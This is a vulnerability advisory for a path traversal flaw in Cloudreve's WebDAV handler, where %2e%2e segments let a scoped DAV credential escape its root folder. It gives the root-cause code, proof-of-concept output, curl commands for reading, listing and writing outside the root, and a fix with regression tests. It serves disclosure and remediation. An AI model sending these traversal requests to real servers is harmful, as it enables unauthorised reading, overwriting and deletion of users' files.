Cloudreve WebDAV (`/dav`) has Path Traversal / Broken Access Control — scoped DAV credential escapes its configured account root

Overview

Summary

A Cloudreve WebDAV account stores a uri that defines the account's root folder. The WebDAV request handler (stripPrefix in pkg/webdav/webdav.go) trims the /dav prefix from the request path and joins the remainder to that root with fs.URI.JoinRaw, but never checks that the joined URI stays inside the root.

Go's net/http decodes %2e%2e to .. and %2f to / in r.URL.Path before the handler sees it, and JoinRaw resolves .. segments through the standard library's url.URL.JoinPath. A request such as GET /dav/%2e%2e/outside.txt against a credential rooted at cloudreve://my/restricted therefore resolves to cloudreve://my/outside.txt. A scoped DAV credential can read and list files outside its configured folder; a writable scoped credential can also create, overwrite, move, and delete them.

The escape stays inside the same Cloudreve user's namespace because downstream DBFS owner checks still apply. It does not cross into another user's files or onto the OS filesystem. What it breaks is the per-folder WebDAV-account boundary — the entire reason scoped DAV accounts exist (delegating limited access to a sync client or a third party).

Technical Detail

Root cause

stripPrefix joins the request suffix onto the account base with no containment check:

// pkg/webdav/webdav.go @ 54dc81d
func stripPrefix(p string, u *ent.User) (string, *fs.URI, int, error) {
	base, err := fs.NewUriFromString(u.Edges.DavAccounts[0].URI)
	if err != nil {
		return "", nil, http.StatusInternalServerError, err
	}

	prefix := davPrefix // "/dav"
	if r := strings.TrimPrefix(p, prefix); len(r) < len(p) {
		r = strings.TrimPrefix(r, fs.Separator)
		return r, base.JoinRaw(util.RemoveSlash(r)), http.StatusOK, nil // <-- join, no boundary check
	}
	return "", nil, http.StatusNotFound, errPrefixMismatch
}

JoinRaw splits on / and delegates to the standard library:

// pkg/filemanager/fs/uri.go @ 54dc81d
func (u *URI) JoinRaw(elem string) *URI {
	return u.Join(strings.Split(strings.TrimPrefix(elem, Separator), Separator)...)
}

func (u *URI) Join(elem ...string) *URI {
	newUrl, _ := url.Parse(u.U.String())
	return &URI{U: newUrl.JoinPath(lo.Map(elem, func(s string, i int) string {
		return PathEscape(s)
	})...)}
}

PathEscape leaves a . untouched (shouldEscape returns false for .), so the literal segment .. survives into url.URL.JoinPath, which cleans the path and resolves the parent reference.

Proof of Concept

The full server was not run from the checkout (the embedded frontend asset assets.zip is absent from source), so the chain was proven by exercising the two decisive layers with real code rather than a screenshot of a live instance.

Layer 1 — net/http hands the handler a decoded, uncleaned path

A standard-library HTTP server, hit over a real socket with raw request targets (equivalent to curl --path-as-is), shows what c.Request.URL.Path holds inside the handler:

REQUEST: GET /dav/%2e%2e/outside.txt
  handler observed: URL.Path="/dav/../outside.txt"   RawPath="/dav/%2e%2e/outside.txt"   -> 200
REQUEST: PROPFIND /dav/%2e%2e/
  handler observed: URL.Path="/dav/../"              RawPath="/dav/%2e%2e/"               -> 200
REQUEST: PUT /dav/%2e%2e/created-outside.txt
  handler observed: URL.Path="/dav/../created-outside.txt"                                 -> 200
REQUEST: GET /dav/%2F..%2Foutside.txt
  handler observed: URL.Path="/dav//../outside.txt"  RawPath="/dav/%2F..%2Foutside.txt"   -> 200

The path is decoded but never cleaned. Gin does not rewrite Request.URL.Path, so the Cloudreve handler observes the same value.

Layer 2 — Cloudreve's URI resolution escapes the root

Re-running Cloudreve's exact PathEscape / shouldEscape / Join / JoinRaw / NewUriFromString code (copied verbatim from uri.go @ 54dc81d) against the real net/url library, with base cloudreve://my/restricted:

traversal %2e%2e        URL.Path=/dav/../outside.txt     suffix="../outside.txt"     => cloudreve://my/outside.txt
traversal %2F..%2F      URL.Path=/dav//../outside.txt    suffix="/../outside.txt"    => cloudreve://my/outside.txt
benign nested           URL.Path=/dav/sub/normal.txt     suffix="sub/normal.txt"     => cloudreve://my/restricted/sub/normal.txt
double-encoded (ctrl)   URL.Path=/dav/%2e%2e/outside.txt suffix="%2e%2e/outside.txt" => cloudreve://my/restricted/%252e%252e/outside.txt
deep traversal          URL.Path=/dav/../../etc.txt      suffix="../../etc.txt"      => cloudreve://my/etc.txt

The traversal variants land outside restricted; the benign path stays inside; the double-encoded negative control stays literal under the root; and deep traversal clamps at the my root (host stays my, confirming the same-owner ceiling).

Live request shapes (against a deployed instance)

# Read outside the DAV root (works for read-only credentials too)
curl --path-as-is -i -u '[email protected]:DAV_PASSWORD' \
  'https://cloudreve.example/dav/%2e%2e/outside.txt'

# List outside the DAV root
curl --path-as-is -i -X PROPFIND -H 'Depth: 1' \
  -u '[email protected]:DAV_PASSWORD' \
  'https://cloudreve.example/dav/%2e%2e/'

# Write outside the DAV root (writable credentials)
printf 'created outside DAV root\n' | curl --path-as-is -i -X PUT \
  -u '[email protected]:DAV_PASSWORD' --data-binary @- \
  'https://cloudreve.example/dav/%2e%2e/created-outside.txt'

Impact

• Read-only scoped credential: read and list any file in the owner's namespace, outside the folder the credential was scoped to.
• Writable scoped credential: additionally create, overwrite, move, and delete those files.

In normal use a scoped DAV account is the mechanism for handing limited access to a sync client or an outside party. This bug means that limit is not enforced: the credential reaches the owner's whole my filesystem.

Suggested Fix

fs.URI already ships the predicate needed (EqualOrIsDescendantOf), so the fix is small:

 	prefix := davPrefix
 	if r := strings.TrimPrefix(p, prefix); len(r) < len(p) {
 		r = strings.TrimPrefix(r, fs.Separator)
-		return r, base.JoinRaw(util.RemoveSlash(r)), http.StatusOK, nil
+		candidate := base.JoinRaw(util.RemoveSlash(r))
+		if !candidate.EqualOrIsDescendantOf(base, "") {
+			return "", nil, http.StatusForbidden, errPrefixMismatch
+		}
+		return r, candidate, http.StatusOK, nil
 	}
 	return "", nil, http.StatusNotFound, errPrefixMismatch

Regression tests worth adding:

• /dav/%2e%2e/outside.txt from base cloudreve://my/restricted → rejected
• /dav/%2F..%2Foutside.txt from base cloudreve://my/restricted → rejected
• COPY/MOVE with Destination: https://host/dav/%2e%2e/outside.txt → rejected
• /dav/sub/normal.txt → still resolves under the account root

Affected packages

• github.com/cloudreve/Cloudreve/v4 < 4.0.0-20260606032813-26b6b1044b02
• github.com/cloudreve/Cloudreve/v3 <= 3.0.0-20250225100611-da4e44b77af4

Remediation

Upgrade to a patched release:

• github.com/cloudreve/Cloudreve/v4 4.0.0-20260606032813-26b6b1044b02